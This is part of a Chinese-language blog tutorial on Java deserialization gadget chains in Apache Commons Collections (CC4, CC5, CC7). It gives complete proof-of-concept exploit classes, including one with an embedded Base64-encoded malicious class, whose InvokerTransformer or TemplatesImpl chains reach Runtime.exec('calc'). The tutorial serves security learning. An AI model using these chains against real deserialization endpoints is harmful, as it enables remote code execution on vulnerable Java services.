import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.util.Base64;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {

byte[] code = Base64.getDecoder().decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } ),
};
//包装innerMap,回调TransformedMap.decorate
//防止payload生成过程中触发,先放进去一个空的Transform
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Comparator comparator = new TransformingComparator(transformerChain);
//第一个参数是初始化时的大小,至少需要2个元素才会触发排序和比较
//第二个参数是比较时的Comparator,传入前面实例化的comparator
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
//生成序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

//System.out.println(barr);
//反序列化
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image-20240728230441860

不过这条利用链在commons-collections3是无法中利用的。

因为org.apache.commons.collections4.comparators.TransformingComparatorcommons-collections4.0之前没有实现Serializable接口,无法序列化。

CC5

这个链主要是为了解决高版本利用问题,使用BadAttributeValueExpException替换AnnotationInvocationHandler配合TiedMapEntry#toString()去串联LazyMap#get()调用transform()触发ChainedTransformer恶意对象反射链。

也就是我们前面CC1谈到的:

在8u71以后Java官方修改了sun.reflect.annotation.AnnotationInvocationHandlerreadObject函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,传进去的恶意Map不再执行set或put操作,便无法触发transform

POC

先给出Gadget Chains:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream#readObject()
BadAttributeValueExpException#readObject()
TiedMapEntry#toString()
LazyMap#get()
//恶意对象反射链部分
ChainedTransformer.transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
Method#invoke()
Class#getMethod()
InvokerTransformer#transform()
Method#invoke()
Runtime#getRuntime()
InvokerTransformer#transform()
Method#invoke()
Runtime#exec()

借用学长的改改,同时把serialize和deserialize写进函数里,算是换一种代码风格:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com.eddiemurphy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception{
ChainedTransformer chain=getChainedTransformer();
Map lazymap=LazyMap.decorate(new HashMap(),chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,1);
BadAttributeValueExpException e=new BadAttributeValueExpException(null);
setFieldValue(e,"val",tiedMapEntry);
deserialize(serialize(e));
}
static ChainedTransformer getChainedTransformer(){
ConstantTransformer ct=new ConstantTransformer(Runtime.class);

InvokerTransformer it1=new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
return chain;
}

public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}

public static byte[] serialize(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}

public static void deserialize(byte[] bytes) throws Exception{
new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();
}
}

image-20240728231404160

CC7

CC7压轴。

因为它真的很绕。打的还是CommonsCollections 3.1 - 3.2.1

换了Hashtable类,利用其reconstitutionPut方法中比较key的值,会调用LazyMap的equals方法。

为什么要put两个lazymap

因为为了进reconstitutionPut for循环,tab需要不为空。

tab其实就是hashtableentry是单链,动调能发现put两个的时候能让tab不为空

哈希碰撞

if这一行由于用 && 连接,左边为false就不会执行右边。

这两个hash对应当前key和上一个keyhashcode

这里key我们选择的是String,观察String.hashCode()

1
2
3
4
5
6
7
8
9
10
11
12
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;

for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

爆破两位就可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.eddiemurphy;

public class HashCollision {
static String dict="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r";
public static void main(String[] args) {
int len=dict.length();
for(int a1=0;a1<len;a1++){
for(int a2=0;a2<len;a2++){
for(int b1=0;b1<len;b1++){
for(int b2=0;b2<len;b2++){
if(a1!=b1&&a2!=b2){
String s1=get(a1)+get(a2);
String s2=get(b1)+get(b2);
if(s1.hashCode()==s2.hashCode()){
System.out.println(s1+"\n"+s2);
return;
}
}
}
}
}
}
System.out.println("fuck");
}
static String get(int i){
return String.valueOf(dict.charAt(i));
}
}

为什么map2.remove("00");

其实和上面的CommonsCollections6一样道理,hashtable.put(map2, 1);这一行也会调用lazymap.get,从而多加了一个带着processImpl的元素,不能序列化。

image-20240728233236250

POC

先给出Gadget Chains:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Hashtable#readObject()
Hashtable#reconstitutionPut()
AbstractMapDecorator#equals()
AbstractMap#equals()
LazyMap#get()
//恶意对象反射链部分
ChainedTransformer#transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
Method#invoke()
Class#getMethod()
InvokerTransformer#transform()
Method#invoke()
Runtime#getRuntime()
InvokerTransformer#transform()
Method#invoke()
Runtime#exec()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package com.eddiemurphy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) {
try {
ChainedTransformer chain = getChainedTransformer();

Map<String, Integer> hashMap1 = new HashMap<>();
Map<String, Integer> hashMap2 = new HashMap<>();

Map<String, Integer> map1 = LazyMap.decorate(hashMap1, chain);
map1.put("00", 1);
Map<String, Integer> map2 = LazyMap.decorate(hashMap2, chain);
map2.put(".n", 1);
Hashtable<Map<String, Integer>, Integer> hashtable = new Hashtable<>();
hashtable.put(map1, 1);
hashtable.put(map2, 1);
map2.remove("00");
deserialize(serialize(hashtable));
} catch (Exception e) {
e.printStackTrace();
}
}

static ChainedTransformer getChainedTransformer() {
ConstantTransformer ct = new ConstantTransformer(Runtime.class);

InvokerTransformer it1 = new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
);
InvokerTransformer it2 = new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
);
InvokerTransformer it_exec = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a = new Transformer[]{ct, it1, it2, it_exec};
return new ChainedTransformer(a);
}

public static byte[] serialize(Object obj) throws Exception {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
return baos.toByteArray();
}
}

public static void deserialize(byte[] bytes) throws Exception {
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
ois.readObject();
}
}
}

image-20240728232439088

Summary

由此CC链告一段落,CB链随缘再讲吧。

看完CC链只能说反序列化初步入门,实战调链子也会后续一步步写上的。

我一定要成为Java高手!!!!

参考:

https://p4d0rn.gitbook.io/java/serial-journey/commons-collection/

https://wx.zsxq.com/dweb2/index/tags/Java安全漫谈/551511412514

Javaweb安全——反序列化漏洞-commons-collections4利用链(CC2和CC4)-CSDN博客

Javaweb安全——反序列化漏洞-CC&CB链思路整理-CSDN博客

Java反序列化从URLDNS到CommonsCollections1-7 - KingBridge - 博客园 (cnblogs.com)


Commons Collections
https://eddiemurphy89.github.io/2024/07/28/Commons-Collections/
作者
EddieMurphy
发布于
2024年7月28日
许可协议